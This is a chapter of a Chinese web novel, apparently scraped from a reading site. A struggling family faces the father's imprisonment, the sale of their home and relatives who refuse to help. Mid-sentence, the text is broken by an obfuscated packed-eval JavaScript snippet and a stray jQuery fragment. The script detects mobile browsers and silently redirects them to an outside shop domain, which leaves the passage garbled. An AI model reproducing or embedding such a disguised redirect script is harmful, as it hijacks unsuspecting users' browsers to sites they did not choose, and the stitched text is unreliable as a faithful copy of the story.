在赵玉红的要求下,杜司宇守口如瓶,除了陆尘和夏迟根本没有别人知道杜大海的事。而这,赵玉红还是不知情的,她心乱如麻,但还是让杜司宇在前面看着,就装作什么都没发生的样子。
这几年家里也挣了一点钱,可钱大部分压在货上,赵玉红躲在卧室里,拿着计算器对着进货账本,开始计算如果把货全部出掉能换回多少钱。
再加上家里的存折……
看着显示屏上的数字,赵玉红难受的叹气。
——不够,还差得远,除非把房子也卖了。
虽然想要短时间内出手就不可能谈个好价钱,但这已经是没有办法的办法。只要按时交了罚金,杜大海就能轻判两年,他们一家人也能早点团聚。
至于他们娘俩……
交完罚金,应该还能剩一点,她想去学校问问住宿费能不能按月缴纳,这样一来,这些钱足够杜司宇生活半学期,她可以趁着这段时间去找一个包吃包住的工作,如果找不到,那就去睡桥洞吃馒头。为了儿子,她什么都不在乎,只要还有口气饿不死就行。
想到这儿,赵玉红只恨自己为什么身体不好,否则还能找个工地搬砖扛沙包。
“阿姨~”
门外传来一个熟悉的声音,赵玉红赶忙将账本和计算器塞到枕头下面,下地开门。
孟博民的事情已经告一段落,在得到自由后,孟欢欢连家都没回,直接背着背包来到了小卖部。
看着孟欢欢开心的样子,赵玉红的心情也好了一点,立刻把她让进屋,“来来来,让阿姨看看瘦没瘦。”
“没有。”孟欢欢的气色也好了很多,她坐在床边亲切的拉着赵玉红的手,贴在自己脸上,“阿姨你看,肉都多了呢。”
赵玉红:“肉多点好,小姑娘多长点肉才有福气。”
孟欢欢:“嗯,阿姨说得对,那我以后再多吃一点。”
聊着聊着,孟欢欢想起自己一直没看见杜大海,“对了,大海叔呢?”
赵玉红神色如常,“啊,你叔他……他老家那边有点事,回家一趟,得一阵儿才能回来呢。”
孟欢欢没再追问杜大海的事。
刚才她进来的时候遇到过杜司宇,杜司宇明明说他是去进货了,可赵玉红却说他回老家,孟欢欢不知道谁说的是对的,但杜大海显然出了什么事,她很担心,但既然赵玉红不想让她知道,她也不好意思再问。
“啊,差点忘了件事。”
赵玉红去衣柜里拿出一件织好的毛衣,抓着肩膀的位置抖开,“这眼看天越来越凉,阿姨给你织了件毛衣,你穿上看看合不合身。”
孟欢欢一怔,“给、给我的?”
赵玉红:“对啊,快试试,哪儿不对劲我好改。”
毛衣是很喜庆的红色,穿在孟欢欢身上更显白了,赵玉红前前后后看了几遍,高兴道:“我就说你穿这色儿好看,你大海叔还说土,土什么土,哪儿土了?他那张老脸黢黑,以为谁都跟他似的穿不了红呢。”
她买的是最好的毛线,孟欢欢穿了这么一会儿身上就有了汗,但她舍不得脱。
类似这样妈妈织给孩子的毛衣,是她第一次收到。
“谢谢阿姨,我很喜欢……”
“喜欢就好,看这孩子,多好啊。”赵玉红抬手替她整理好额前的碎刘海,眼神慈爱的看着她,似乎想要说点什么,但最后也只是叮嘱她回去早点休息、看看书什么的,十一之后还要回学校上课呢。
孟欢欢走后,赵玉红坐回床边,难受的用手背蹭了一下眼角。
“妈。”杜司宇跑了进来,见她情绪不太好,疑惑道:“跟她说了吗?咋?她不愿意?”
赵玉红摇头,叹了口气,“没说,咱家现在这个情况,别再把人家小姑娘连累了。”
她想认孟欢欢当女儿,可别说给人家更好的生活了,以后能不能吃上饭都不一定,还认啥啊,没准孟欢欢自己生活的更好呢。
听罢,杜司宇也觉得是这个理儿,一屁股坐在床边,颓丧道:“也对。”
“算了,不想这些了。”赵玉红重新拿出计算器和账本,虽然她也不想把这些糟心事告诉儿子,但以后家里要怎么安排,得让他心里有个数。
然而当她说完,杜司宇立刻表示反对,“不行,要打工也该是我出去打工。”
赵玉红:“你还上学呢你打什么工?!都这个时候了你能不能老实听话别气我了!”
杜司宇:“我气你啥了,我说的都是实话啊。”
其实这两天他想了很多,他知道现在家里情况很糟糕,但听赵玉红说完才知道已经严重到了卖房子的地步。
这样一来,他就更不能逃避责任了。
杜大海不在,他就是家里唯一的男人,他得赚钱养活妈妈。
杜司宇:“妈,你看啊,我又不像陆尘,我是真学不进去,啥成绩你不也知道吗。就算再在学校混个两年也考不上大学,到最后还不是得出去打工,既然是打工,那我拿初中毕业证和高中毕业证有啥区别,工地搬砖又不看学历。”
赵玉红:“我说不行就是不行!”
她的态度异常坚决,然而杜司宇也已经下定了决心。
到最后娘俩谁也说服不了谁,杜司宇怕真气到她,只能暂时闭嘴,悻悻的继续回到前面看店。
十一前一天,他刚进家门就把书包丢在了柜台下面,这几天碰都没碰过。
杜司宇坐在塑料凳上,盯着书包看了片刻,然后弯腰拿起书包,拉开拉锁,从里面抽出一沓作业卷子。
卷子上一个字都没写,本来他是打算假期结束前一天再去找陆尘抄作业,现在来看,也没有这个必要了。
杜司宇脑袋里乱糟糟的,他随手抽出一张卷子放在柜台上,又从书包夹层里翻出一根黑色中性笔,咬开笔帽,想要写几道题。
——这题好像选A。
——这题是不是老师讲过原题?咋讲的了?
——这题压根不会啊。
……
大半个小时过去,杜司宇艰难的写完了选择和填空,看着狗啃似的演算纸和根本不知道对错的卷面答案,他越看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042907|136739||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
心里越难受。
——在学校上课多好啊,以前为啥就不学呢。
他烦躁的抓了两把刚长出来的头发。
虽然他已经决定外出打工,可到底去哪儿打工、怎么打工,心里一点数都没有。
——要不去南边看看吧,听说那边打工挣钱多。
杜司宇深吸一口气,重新把卷子塞回书包。
赵玉红说交完罚款还能剩下一点钱,虽然也够租几个月房子,但杜司宇觉得这样太浪费了,现在正是需要钱的时候,能省就省吧。
蓦地,他想起了自己的舅舅和叔叔。
赵玉红和杜大海都是家里老大,这些年挣了钱也没忘了家里的亲戚,杜司宇他舅舅家和叔叔家甚至都装上了电话,当时在村子里很是风光了一把。
眼看赵玉红没有出来的意思,杜司宇偷偷把电话搬到自己面前。
他先给舅舅打了电话。
电话接通后,舅舅十分热情的问了问他最近的情况,还叮嘱他好好学习别让爸妈操心,杜司宇嗯嗯啊啊跟着应付了几句,舅舅又夸他听话懂事将来肯定有出息。
两人寒暄了一会儿,杜司宇有些不太好意思的提起了家里的事,电话那边越来越沉默,直到杜司宇说完,舅舅只问了一句“你爸还能不能出来了”。
杜司宇:“照目前来看是够呛,听说得判几年。”
舅舅:“啊,这样啊……可是舅舅家什么情况你也清楚,实在没什么闲钱,也帮不了啥。”
杜司宇:“没想管你借钱,就是房子卖了以后我妈暂时没地方住,我姥家那个旧房子不是一直空着吗,我想让我妈先回村里住一段时间。”
舅舅:“那房子是给你哥结婚用的。”
杜司宇:“我哥不还没对象呢吗,又不是一直住,就是……”
舅舅:“不行。”
他拒绝的非常干脆,似乎是怕赵玉红回来和他抢房子,无论杜司宇怎么说都不松口,最后干脆挂了电话。
听着听筒里的忙音,杜司宇气的满脸通红,但他现在没有生气的时间,做了几次深呼吸后又给叔叔打了电话。
然而在听到杜大海进局子出不来后,叔叔也一改往日的态度,说什么都不肯接纳赵玉红。
杜司宇气的浑身发抖,“你们、你们一个个的都把我妈当累赘是吧?!你家电话谁出钱安的?你儿子结婚又是谁给拿的钱?!这特么才几年啊,就全都给忘了!”
一听他这么说话,对面的叔叔也生气了,“你跟我说啥都没用!你妈的事去找你舅!她自个儿亲弟弟都不管我凭啥管?!”
杜司宇:“那我爸还是你亲哥呢!你管过你亲哥吗?!”
叔叔:“你爸进城后是谁照顾的你爷你奶?不都是我吗,要照这么算你爸还欠我的呢!现在他进了局子,可别再连累着我家!”
杜司宇:“我爷我奶的养老费我家少给过一分吗?吃药看病生活费全是我家拿的!留下的房子还给了你!你……”
嘟——嘟——嘟——
对面再一次挂断了电话。